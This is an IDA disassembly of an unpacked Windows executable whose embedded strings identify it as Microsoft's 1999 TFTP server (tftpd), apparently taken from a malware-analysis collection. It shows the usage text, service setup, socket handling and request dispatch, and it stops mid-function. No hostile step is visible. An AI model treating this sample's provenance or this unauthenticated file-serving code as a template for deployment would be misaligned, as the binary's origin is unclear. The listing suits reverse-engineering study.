;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	DC70D9623ADF73532722CBA8AE4637D2

; File Name   :	u:\work\dc70d9623adf73532722cba8ae4637d2_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	1000000
; Section 1. (virtual address 00001000)
; Virtual size			: 00003310 (  13072.)
; Section size in file		: 00003310 (  13072.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 1001000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_1001000	dd 77D882ACh	dword_1001004	dd 77D82985h	dword_1001008	dd 77D8858Eh	dword_100100C	dd 77D87D4Dh	dword_1001010	dd 77D82C54h	dword_1001014	dd 77D99694h						; sub_1001DEB+6Br ...
		dd 0
dword_100101C	dd 77E6B0BBh	dword_1001020	dd 77E64CA6h	dword_1001024	dd 77E6C37Ah	dword_1001028	dd 77F877E0h	dword_100102C	dd 77E6C4E4h						; sub_1002F31+1C3r ...
dword_1001030	dd 77E5670Dh	dword_1001034	dd 77E56F37h	dword_1001038	dd 77E5668Ch						; sub_1001665:loc_1001762r ...
dword_100103C	dd 77E58778h						; sub_1001A91+1ABr
dword_1001040	dd 77E5B217h						; sub_10018DB+B4r ...
dword_1001044	dd 77E58D0Fh						; sub_10019F0+14r ...
dword_1001048	dd 77E55304h	dword_100104C	dd 77F8AA7Dh						; sub_1001A91+B5r ...
dword_1001050	dd 77FC9C41h	dword_1001054	dd 77E5A6C8h						; sub_1001E73+9Er ...
dword_1001058	dd 77F8AA4Ch						; sub_1001A91+4Er ...
dword_100105C	dd 77E64A02h, 77E6E673h, 77FC976Bh, 77E6310Fh					; sub_1001A91+2C1r ...
dword_100106C	dd 77E54B74h						; sub_100205A+4Er
dword_1001070	dd 77F89789h	dword_1001074	dd 77E6CFC6h						; sub_1007412+1Cr
		dd 0
dword_100107C	dd 78001DEAh	dword_1001080	dd 78003E70h	dword_1001084	dd 7800B426h	dword_1001088	dd 78014EE9h	dword_100108C	dd 78014DABh	dword_1001090	dd 7801D884h	dword_1001094	dd 78001000h						; sub_100205A+93r ...
dword_1001098	dd 78001EC9h	dword_100109C	dd 78012188h	dword_10010A0	dd 780010EDh						; sub_1001F54+47r ...
dword_10010A4	dd 7802A875h						; sub_1001DEB+8r
dword_10010A8	dd 78017A09h	dword_10010AC	dd 7800C9ACh						; sub_10027E1+77r ...
dword_10010B0	dd 78017E4Bh, 78022AA9h					; sub_1001665+1DBr
dword_10010B8	dd 7802A38Bh						; sub_1001DEB+19r
dword_10010BC	dd 78003C1Eh	dword_10010C0	dd 7800F56Ah	dword_10010C4	dd 78003E5Ah	dword_10010C8	dd 78003E64h	dword_10010CC	dd 78003E6Ah	dword_10010D0	dd 7803BB70h	dword_10010D4	dd 78025147h	dword_10010D8	dd 7800BB9Eh	dword_10010DC	dd 7800F7DCh, 7800B908h					; .text:01003B7Ar
dword_10010E4	dd 7801D1CFh						; sub_100333A+1B9r
dword_10010E8	dd 78014B25h	dword_10010EC	dd 7800269Eh						; sub_1001665+C0r ...
		dd 0
dword_10010F4	dd 74FA1311h	dword_10010F8	dd 74FA2B3Ch						; sub_1001A91+12Br ...
dword_10010FC	dd 74FA4A6Ah	dword_1001100	dd 74FA5502h	dword_1001104	dd 74FA2B57h						; sub_100230A+Fr ...
dword_1001108	dd 74FAD027h	dword_100110C	dd 74FA2B57h						; sub_1002A3D+40r ...
; ---------------------------------------------------------------------------

locret_1001110:				; DATA XREF: sub_1001A91+10Fr
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 0FAh, 74h
dword_1001114	dd 74FA125Ah	dword_1001118	dd 74FA894Bh	dword_100111C	dd 74FA3284h						; sub_100205A+E7r ...
dword_1001120	dd 74FA5413h						; sub_1002F31+64r ...
dword_1001124	dd 74FA3A14h						; sub_1002F31+256r ...
dword_1001128	dd 74FA90C0h	dword_100112C	dd 74FA3832h						; sub_100333A+1EBr
dword_1001130	dd 74FA306Fh						; sub_1002A3D+65r ...
		align 8
dword_1001138	dd 772F7866h	dword_100113C	dd 772F25A3h			dd 0
dword_1001144	dd 77F82A70h	dword_1001148	dd 77F8A557h	dword_100114C	dd 77FB6307h	dword_1001150	dd 77F92A89h						; sub_100333A+95r
dword_1001154	dd 77F97C81h						; sub_1002B5E+114r ...
dword_1001158	dd 77F816E4h						; sub_1002A3D+FDr ...
dword_100115C	dd 77F8F1D6h	dword_1001160	dd 77F9431Dh						; sub_10023D8+F2r
dword_1001164	dd 77F936B1h	dword_1001168	dd 77F912B1h						; sub_1002901+35r
dword_100116C	dd 77F8F73Ch	dword_1001170	dd 77F979C8h	dword_1001174	dd 77F8D7C7h						; sub_10018DB+D6r
dword_1001178	dd 77F975A5h						; sub_1002F31+34Dr ...
		dd 2 dup(0)
		dd 37ECADD7h, 0
		dd 4, 110h, 0
		dd 4C00h, 0
		dd 37ECADD7h, 0
		dd 3, 310h, 0
		dd 4D10h, 0
		dd 37ECADD7h, 0
		dd 6, 2	dup(0)
		dd 5020h, 0
		dd 37ECADD7h, 0
		dd 2, 1Ah, 0
		db 90h
		db 0FEh, 0A7h, 0FFh
aDNtPrivateNetS	db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999'
		db ' 22:17:18',0Ah,0
aOWritableFiles	db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o
aWritable	db 'writable',0         ; DATA XREF: sub_1001570+BFo
					; sub_10037BF+121o
		align 4
aOReadableFiles	db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o
aReadable	db 'readable',0         ; DATA XREF: sub_1001570+B1o
					; sub_10037BF+F1o
		align 4
aOValidmastersK	db ' o ValidMasters   keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o
aMasters	db 'masters',0          ; DATA XREF: sub_1001570+A3o
					; sub_10037BF+C1o
aOValidclientsK	db ' o ValidClients   keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao
aClients	db 'clients',0          ; DATA XREF: sub_1001570+95o
					; sub_10037BF+8Eo
aTheseKeysAreSh	db 'These keys are shell patterns with * and ? (see examples above):',0Ah
					; DATA XREF: sub_1001570+8Do
		db 0
		align 4
aOStartdirector	db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o
aDirectory	db 'directory',0        ; DATA XREF: sub_1001570+7Fo
					; sub_10037BF+5Co
		align 4
aRegistryKeyNam	db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0
					; DATA XREF: sub_1001570+76o
aSystemCurrentc	db 'System\CurrentControlSet\Services\tftpd\parameters',0
					; DATA XREF: sub_1001570+71o
					; sub_10037BF+13o
		align 10h
aTftpd_logfileI	db ' TFTPD_LOGFILE     is %s',0Ah ; DATA XREF: sub_1001570+68o
		db 0Ah,0
		align 4
aTftpd_log	db 'tftpd.log',0        ; DATA XREF: sub_1001570+63o
					; sub_1001665+1D6o
		align 4
aTftpd_default_	db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao
		align 4
aTftpdroot	db '\tftpdroot\',0      ; DATA XREF: sub_1001570+55o
					; sub_1003910+1Eo
a?		db '-?',0               ; DATA XREF: sub_1001570+10o
		align 4
aA		db 'a+',0               ; DATA XREF: sub_1001665+1D1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_100205A+31o
		align 10h
aUdp		db 'udp',0              ; DATA XREF: sub_100205A+2Co
aOptionNegotiat	db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o
		align 10h
aNoSuchUser	db 'No such user',0     ; DATA XREF: .data:01005CDCo
		align 10h
aFileAlreadyExi	db 'File already exists',0 ; DATA XREF: .data:01005CD8o
aUnknownTransfe	db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o
aIllegalTftpOpe	db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o
		align 10h
aDiskFullOrAllo	db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo
		align 4
aAccessViolatio	db 'Access violation',0 ; DATA XREF: .data:01005CC8o
		align 4
aFileNotFound	db 'File not found',0   ; DATA XREF: .data:01005CC4o
		align 4
aErrorUndefined	db 'Error undefined',0  ; DATA XREF: .data:off_1005CC0o
aTsize		db 'tsize',0            ; DATA XREF: sub_10023D8:loc_100251Ao
		align 10h
aTimeout_0	db 'timeout',0          ; DATA XREF: sub_10023D8:loc_1002498o
aBlksize	db 'blksize',0          ; DATA XREF: sub_10023D8+4Eo
aTimeout	db 'Timeout',0          ; DATA XREF: sub_1002A3D+D2o
aInsufficientRe	db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o
					; sub_100333A+201o ...
		align 10h
aFileNameTooLon	db 'File name too long',0 ; DATA XREF: sub_1002F31+195o
					; sub_100333A+1A0o
		align 4
aMalformedFileN	db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o
					; sub_100333A+159o
aOctet		db 'octet',0            ; DATA XREF: sub_1002F31+D2o
					; sub_100333A:loc_100341Fo
		align 10h
aNetascii	db 'netascii',0         ; DATA XREF: sub_1002F31+9Fo
					; sub_100333A:loc_10033E1o
		align 4
asc_100155C:				; DATA XREF: sub_1003910+7Fo
		unicode	0, <\>,0
dword_1001560	dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0
; =============== S U B	R O U T	I N E =======================================



sub_1001570	proc near		; CODE XREF: .text:01003B4Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 1
		push	esi
		jle	loc_1001646
		mov	eax, [esp+4+arg_4]
		mov	esi, offset a?	; "-?"
		mov	eax, [eax+4]


loc_1001588:				; CODE XREF: sub_1001570+34j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_10015AA
		test	cl, cl
		jz	short loc_10015A6
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_10015AA
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_1001588


loc_10015A6:				; CODE XREF: sub_1001570+22j
		xor	eax, eax
		jmp	short loc_10015AF
; ---------------------------------------------------------------------------


loc_10015AA:				; CODE XREF: sub_1001570+1Ej
					; sub_1001570+2Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_10015AF:				; CODE XREF: sub_1001570+38j
		test	eax, eax
		jnz	loc_1001646
		mov	esi, ds:dword_10010D4
		push	offset asc_1005010 ; " ======================================"...
		call	esi ; dword_10010D4
		pop	ecx
		push	offset aTftpdroot ; "\\tftpdroot\\"
		push	offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is	%s\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aTftpd_log ; "tftpd.log"
		push	offset aTftpd_logfileI ; " TFTPD_LOGFILE     is	%s\n\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\tftpd"...
		push	offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"...
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aDirectory ; "directory"
		push	offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aTheseKeysAreSh ; "These	keys are shell patterns	with * an"...
		call	esi ; dword_10010D4
		pop	ecx
		push	offset aClients	; "clients"
		push	offset aOValidclientsK ; " o ValidClients   keyname \"%s\"\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aMasters	; "masters"
		push	offset aOValidmastersK ; " o ValidMasters   keyname \"%s\"\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aReadable ; "readable"
		push	offset aOReadableFiles ; " o Readable files keyname \"%s\"\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aWritable ; "writable"
		push	offset aOWritableFiles ; " o writable files keyname \"%s\"\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		call	ds:dword_10010EC
		pop	ecx


loc_1001646:				; CODE XREF: sub_1001570+6j
					; sub_1001570+41j
		push	offset off_1005CB0
		call	ds:dword_1001004
		test	eax, eax
		jnz	short loc_100165B
		call	ds:dword_1001038


loc_100165B:				; CODE XREF: sub_1001570+E3j
		push	0
		call	ds:dword_100101C
		pop	esi
		retn
sub_1001570	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001665	proc near		; DATA XREF: .data:01005CB4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		push	offset sub_1001DEB
		push	offset aTftpd	; "Tftpd"
		mov	dword_1006120, 30h
		mov	dword_1006124, 2
		mov	dword_1006128, ebp
		mov	dword_1006134, 1
		mov	dword_1006138, 4E20h
		mov	dword_100612C, ebp
		mov	dword_1006130, ebp
		call	ds:dword_1001010
		cmp	eax, ebp
		mov	dword_1006044, eax
		jz	loc_1001762
		mov	esi, ds:dword_1001014
		mov	edi, offset dword_1006120
		push	edi
		push	eax
		call	esi ; dword_1001014
		cmp	eax, ebp
		jz	loc_1001762
		mov	ebx, ds:dword_1001040
		push	ebp
		push	ebp
		push	ebp
		push	ebp
		call	ebx ; dword_1001040
		push	ebp
		push	ebp
		push	ebp
		push	ebp
		mov	dword_1005DDC, eax
		call	ebx ; dword_1001040
		cmp	dword_1005DDC, ebp
		mov	dword_1005DE0, eax
		jz	short loc_100171C
		cmp	eax, ebp
		jz	short loc_100171C
		push	offset dword_1006140
		push	101h
		call	ds:dword_10010FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1001735
		call	ds:dword_10010F8


loc_100171C:				; CODE XREF: sub_1001665+96j
					; sub_1001665+9Aj ...
		push	1Fh
		call	sub_1001E73
		push	1
		call	ds:dword_10010EC
		pop	ecx


loc_100172C:				; CODE XREF: sub_1001665+218j
					; sub_1001665+224j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_1001735:				; CODE XREF: sub_1001665+AFj
		push	edi
		mov	dword_1006124, 4
		push	dword_1006044
		mov	dword_1006128, 7
		mov	dword_1006134, ebp
		mov	dword_1006138, ebp
		call	esi ; dword_1001014
		cmp	eax, ebp
		jnz	short loc_100176A


loc_1001762:				; CODE XREF: sub_1001665+57j
					; sub_1001665+6Ej
		call	ds:dword_1001038
		jmp	short loc_100171C
; ---------------------------------------------------------------------------


loc_100176A:				; CODE XREF: sub_1001665+FBj
		push	9
		pop	ecx
		xor	eax, eax
		mov	edx, offset dword_10060C0
		mov	edi, edx
		rep stosd
		push	edx
		call	ds:dword_10010A4
		pop	ecx
		mov	edx, [esp+10h+arg_0]
		dec	edx
		mov	ebx, (offset dword_1005E07+1)
		jz	short loc_10017F3
		mov	eax, [esp+10h+arg_4]
		lea	eax, [eax+edx*4]
		mov	[esp+10h+arg_0], eax


loc_1001797:				; CODE XREF: sub_1001665+18Cj
		mov	eax, [esp+10h+arg_0]
		mov	eax, [eax]
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_10017F3
		movsx	ecx, byte ptr [eax+1]
		sub	ecx, 64h
		jz	short loc_10017C9
		dec	ecx
		jz	short loc_10017BD
		dec	ecx
		jnz	short loc_10017E9
		mov	dword_1005DD8, 1
		jmp	short loc_10017E9
; ---------------------------------------------------------------------------


loc_10017BD:				; CODE XREF: sub_1001665+147j
		mov	dword_1005DD4, 1
		jmp	short loc_10017E9
; ---------------------------------------------------------------------------


loc_10017C9:				; CODE XREF: sub_1001665+144j
		lea	edi, [eax+2]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_10017E9:				; CODE XREF: sub_1001665+14Aj
					; sub_1001665+156j ...
		sub	[esp+10h+arg_0], 4
		dec	edx
		cmp	edx, ebp
		ja	short loc_1001797


loc_10017F3:				; CODE XREF: sub_1001665+125j
					; sub_1001665+13Bj
		call	sub_10037BF
		call	sub_1003910
		mov	esi, ds:dword_10010A8
		push	ebx
		call	esi ; dword_10010A8
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_100182E
		call	ds:dword_10010AC
		push	ebx
		call	ds:dword_10010B0
		cmp	eax, ebp
		pop	ecx
		jnz	loc_100171C
		push	ebx
		call	esi ; dword_10010A8
		cmp	eax, ebp
		pop	ecx
		jnz	loc_100171C


loc_100182E:				; CODE XREF: sub_1001665+1A5j
		cmp	dword_1005DD8, ebp
		jz	short loc_1001857
		push	offset aA	; "a+"
		push	offset aTftpd_log ; "tftpd.log"
		call	ds:dword_10010B0+4
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		mov	dword_1005DD0, eax
		jnz	short loc_1001857
		mov	dword_1005DD8, ebp


loc_1001857:				; CODE XREF: sub_1001665+1CFj
					; sub_1001665+1EAj
		push	offset dword_10060C0
		call	ds:dword_10010B8
		pop	ecx
		call	sub_10018DB
		call	sub_10019F0
		push	0FFFFFFFFh
		push	dword_1005DDC
		call	ds:dword_100103C
		cmp	eax, ebp
		jz	loc_100172C
		call	ds:dword_1001038
		jmp	loc_100172C
sub_1001665	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100188E	proc near		; CODE XREF: sub_100205A+D5p
					; sub_1002F31+2A8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_1001100
		test	eax, eax
		jz	short loc_10018AE
		call	ds:dword_1001038
		xor	eax, eax
		jmp	short locret_10018D7
; ---------------------------------------------------------------------------


loc_10018AE:				; CODE XREF: sub_100188E+14j
		test	[ebp+arg_8], 1
		push	0
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		jz	short loc_10018C2
		push	offset loc_1001D74
		jmp	short loc_10018C7
; ---------------------------------------------------------------------------


loc_10018C2:				; CODE XREF: sub_100188E+2Bj
		push	offset loc_1001DDB


loc_10018C7:				; CODE XREF: sub_100188E+32j
		push	[ebp+arg_4]
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_1001174
		mov	eax, [ebp+var_4]

locret_10018D7:				; CODE XREF: sub_100188E+1Ej
		leave
		retn	0Ch
sub_100188E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10018DB	proc near		; CODE XREF: sub_1001665+1FEp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_1001044
		push	edi
		push	offset dword_1006080
		call	esi ; dword_1001044
		push	offset dword_1006020
		call	esi ; dword_1001044
		mov	eax, offset dword_1006098
		mov	dword_100609C, eax
		mov	dword_1006098, eax
		mov	eax, offset dword_1006038
		mov	dword_100603C, eax
		mov	dword_1006038, eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_1001FA6
		xor	esi, esi
		test	eax, eax
		jnz	short loc_1001957
		mov	eax, [ebp+var_4]
		xor	ebx, ebx
		cmp	[eax], esi
		jbe	short loc_100194F
		xor	edi, edi


loc_100192E:				; CODE XREF: sub_10018DB+72j
		mov	ecx, [eax+edi+4]
		cmp	ecx, esi
		jz	short loc_1001947
		cmp	ecx, 100007Fh
		jz	short loc_1001947
		push	ecx
		call	sub_100205A
		mov	eax, [ebp+var_4]


loc_1001947:				; CODE XREF: sub_10018DB+59j
					; sub_10018DB+61j
		inc	ebx
		add	edi, 18h
		cmp	ebx, [eax]
		jb	short loc_100192E


loc_100194F:				; CODE XREF: sub_10018DB+4Fj
		push	eax
		call	ds:dword_10010A0
		pop	ecx


loc_1001957:				; CODE XREF: sub_10018DB+46j
		push	offset dword_10060A0
		call	ds:dword_1001170
		cmp	eax, esi
		jnz	loc_10019EB
		mov	eax, 0EA60h
		push	esi
		push	eax
		push	eax
		push	esi
		push	offset sub_10029BA
		push	offset dword_1006048
		push	dword_10060A0
		call	ds:dword_1001178
		push	esi
		push	esi
		push	esi
		push	esi
		mov	edi, eax
		call	ds:dword_1001040
		cmp	eax, esi
		mov	dword_1005DF8, eax
		jnz	short loc_10019A2
		mov	eax, edi
		jmp	short loc_10019EB
; ---------------------------------------------------------------------------


loc_10019A2:				; CODE XREF: sub_10018DB+C1j
		push	esi
		push	0FFFFFFFFh
		push	esi
		push	offset sub_1002219
		push	eax
		push	offset dword_1005DFC
		call	ds:dword_1001174
		cmp	eax, esi
		jnz	short loc_10019EB
		mov	ecx, offset dword_1006100
		xor	eax, eax
		mov	edi, ecx
		push	ecx
		stosd
		stosd
		stosd
		stosd
		stosd
		mov	eax, dword_1005DF8
		push	offset dword_1005E00
		mov	dword_1006110, eax
		call	sub_1003A44
		cmp	eax, esi
		jz	short loc_10019E9
		cmp	eax, 3E5h
		jnz	short loc_10019EB


loc_10019E9:				; CODE XREF: sub_10018DB+105j
		xor	eax, eax


loc_10019EB:				; CODE XREF: sub_10018DB+89j
					; sub_10018DB+C5j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10018DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_10019F0	proc near		; CODE XREF: sub_1001665+203p
		mov	eax, offset dword_1006078
		push	offset dword_1006060
		mov	dword_100607C, eax
		mov	dword_1006078, eax
		call	ds:dword_1001044
		push	0
		push	0EFD1Ch
		push	0
		call	ds:dword_1001048
		mov	dword_1005DEC, eax
		retn
sub_10019F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001A1F	proc near		; CODE XREF: sub_10029BA+79p
		push	ebx
		push	esi
		mov	ebx, offset dword_1006060
		push	edi
		push	ebx
		xor	esi, esi
		call	ds:dword_1001058
		mov	eax, dword_1005DF0
		sub	eax, dword_1005DF4
		cmp	eax, 0Ah
		jbe	short loc_1001A46
		shr	eax, 1
		mov	esi, eax
		jmp	short loc_1001A4E
; ---------------------------------------------------------------------------


loc_1001A46:				; CODE XREF: sub_1001A1F+1Fj
		cmp	eax, 3
		jbe	short loc_1001A4E
		push	2
		pop	esi


loc_1001A4E:				; CODE XREF: sub_1001A1F+25j
					; sub_1001A1F+2Aj
		test	esi, esi
		jbe	short loc_1001A86
		mov	edi, esi


loc_1001A54:				; CODE XREF: sub_1001A1F+65j
		mov	eax, dword_1006078
		mov	esi, eax
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[eax], ecx
		mov	[ecx+4], eax
		push	dword ptr [esi+30h]
		call	ds:dword_1001054
		push	esi
		push	0
		push	dword_1005DEC
		call	ds:dword_1001050
		dec	dword_1005DF0
		dec	edi
		jnz	short loc_1001A54


loc_1001A86:				; CODE XREF: sub_1001A1F+31j
		push	ebx
		call	ds:dword_100104C
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1001A1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001A91	proc near		; CODE XREF: .text:01001DCCp
					; .text:01001DE1p

var_68		= byte ptr -68h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= byte ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_10		= byte ptr  14h
arg_FF9C	= dword	ptr  0FFA0h
arg_FFA0	= dword	ptr  0FFA4h
arg_FFA4	= dword	ptr  0FFA8h
arg_FFA8	= dword	ptr  0FFACh
arg_FFD4	= dword	ptr  0FFD8h
arg_FFD8	= dword	ptr  0FFDCh
arg_10004	= dword	ptr  10008h

		mov	eax, 10004h
		call	sub_1003A3E
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	[esp+10h], ebp
		mov	ebx, offset dword_1006060


loc_1001AAA:				; CODE XREF: sub_1001A91+291j
		lea	eax, [esp+10h+arg_0]
		push	eax
		push	4004667Fh
		push	[esp+18h+arg_10004]
		call	ds:dword_1001114
		cmp	eax, ebp
		jnz	loc_1001D27
		cmp	[esp+1Ch+var_8], ebp
		jz	loc_1001D65
		xor	eax, eax
		lea	edi, [esp+1Ch+arg_10]
		stosd
		stosd
		stosd
		stosd
		push	ebx
		stosd
		call	ds:dword_1001058
		mov	eax, dword_1006078
		inc	dword_1005DF4
		cmp	eax, offset dword_1006078
		jz	short loc_1001B11
		mov	ecx, [eax]
		mov	esi, eax
		mov	eax, [eax+4]
		mov	[eax], ecx
		mov	[ecx+4], eax
		push	dword ptr [esi+30h]
		call	ds:dword_100105C+0Ch
		mov	eax, [esi+30h]
		jmp	short loc_1001B41
; ---------------------------------------------------------------------------


loc_1001B11:				; CODE XREF: sub_1001A91+64j
		inc	dword_1005DF0
		push	2FF6Ch
		push	8
		push	dword_1005DEC
		call	ds:dword_100105C+8
		mov	esi, eax
		cmp	esi, ebp
		jz	loc_1001D5E
		push	ebp
		push	ebp
		push	ebp
		push	ebp
		call	ds:dword_1001040
		mov	[esi+30h], eax


loc_1001B41:				; CODE XREF: sub_1001A91+7Ej
		push	ebx
		mov	[esp+40h+arg_0], eax
		call	ds:dword_100104C
		lea	ebp, [esi+34h]
		mov	ecx, 3FEFh
		xor	eax, eax
		mov	edi, ebp
		rep stosd
		stosb
		mov	eax, [esp+40h+arg_FFD8]
		mov	[esp+40h+var_1C], ebp
		mov	[esp+40h+var_20], 0FFBDh
		mov	[esp+40h+var_28], 10h
		mov	[esi+1Ch], eax
		lea	eax, [esp+40h+var_10]
		push	0
		push	eax
		lea	eax, [esp+48h+var_28]
		lea	edi, [esi+2Ch]
		push	eax
		lea	eax, [esi+0Ch]
		push	eax
		lea	eax, [esp+50h+var_30]
		push	eax
		push	edi
		lea	eax, [esp+58h+var_20]
		push	1
		push	eax
		push	[esp+60h+arg_FFD4]
		call	dword ptr ds:locret_1001110
		mov	[esp+64h+var_48], eax
		mov	ax, [esi+0Eh]
		push	eax
		call	ds:dword_100110C
		cmp	[esp+68h+var_4C], 0
		jz	short loc_1001C34
		call	ds:dword_10010F8
		cmp	eax, 3E5h
		jnz	loc_1001D2F
		mov	eax, dword_1005DDC
		push	0FFFFFFFFh
		mov	[esp+6Ch+var_40], eax
		mov	eax, [esp+6Ch+var_28]
		mov	[esp+6Ch+var_3C], eax
		lea	eax, [esp+6Ch+var_40]
		push	0
		push	eax
		push	2
		call	ds:dword_100105C+4
		cmp	eax, 0FFFFFFFFh
		jz	loc_1001D2F
		cmp	eax, 102h
		jz	loc_1001D2F
		test	eax, eax
		jz	loc_1001D2F
		lea	eax, [esp+78h+var_68]
		push	eax
		push	0
		lea	eax, [esp+80h+var_48]
		push	edi
		push	eax
		push	[esp+88h+arg_FF9C]
		call	ds:dword_1001108
		test	eax, eax
		jnz	short loc_1001C34
		call	ds:dword_10010F8
		jmp	loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001C34:				; CODE XREF: sub_1001A91+129j
					; sub_1001A91+196j
		push	0
		push	dword_1005DDC
		call	ds:dword_100103C
		test	eax, eax
		jz	loc_1001D2F
		cmp	dword ptr [edi], 2
		jl	loc_1001CEA
		xor	edi, edi
		cmp	[esp+70h+arg_FFA8], edi
		jz	short loc_1001CDA
		mov	ax, [ebp+0]
		push	eax
		call	ds:dword_1001104
		movzx	ecx, ax
		test	ecx, ecx
		jle	short loc_1001CB8
		cmp	ecx, 2
		jle	short loc_1001C81
		cmp	ecx, 4
		jz	short loc_1001CB8
		cmp	ecx, 5
		jnz	short loc_1001CB8
		jmp	short loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001C81:				; CODE XREF: sub_1001A91+1E2j
		cmp	ax, 1
		jnz	short loc_1001C94
		inc	dword_10060C4
		mov	edi, offset sub_1002F31
		jmp	short loc_1001CA5
; ---------------------------------------------------------------------------


loc_1001C94:				; CODE XREF: sub_1001A91+1F4j
		cmp	ax, 2
		jnz	short loc_1001CA5
		inc	dword_10060C8
		mov	edi, offset sub_100333A


loc_1001CA5:				; CODE XREF: sub_1001A91+201j
					; sub_1001A91+207j
		mov	eax, [esp+74h+arg_FFA0]
		test	edi, edi
		mov	[esi+8], eax
		jz	short loc_1001CEA
		push	esi
		call	edi ; sub_1002F31
		jmp	short loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001CB8:				; CODE XREF: sub_1001A91+1DDj
					; sub_1001A91+1E7j ...
		push	0
		push	4
		push	[esp+7Ch+arg_FFA0]
		inc	dword_10060CC
		lea	eax, [esp+80h+var_20]
		push	eax
		lea	eax, [esp+84h+var_30]
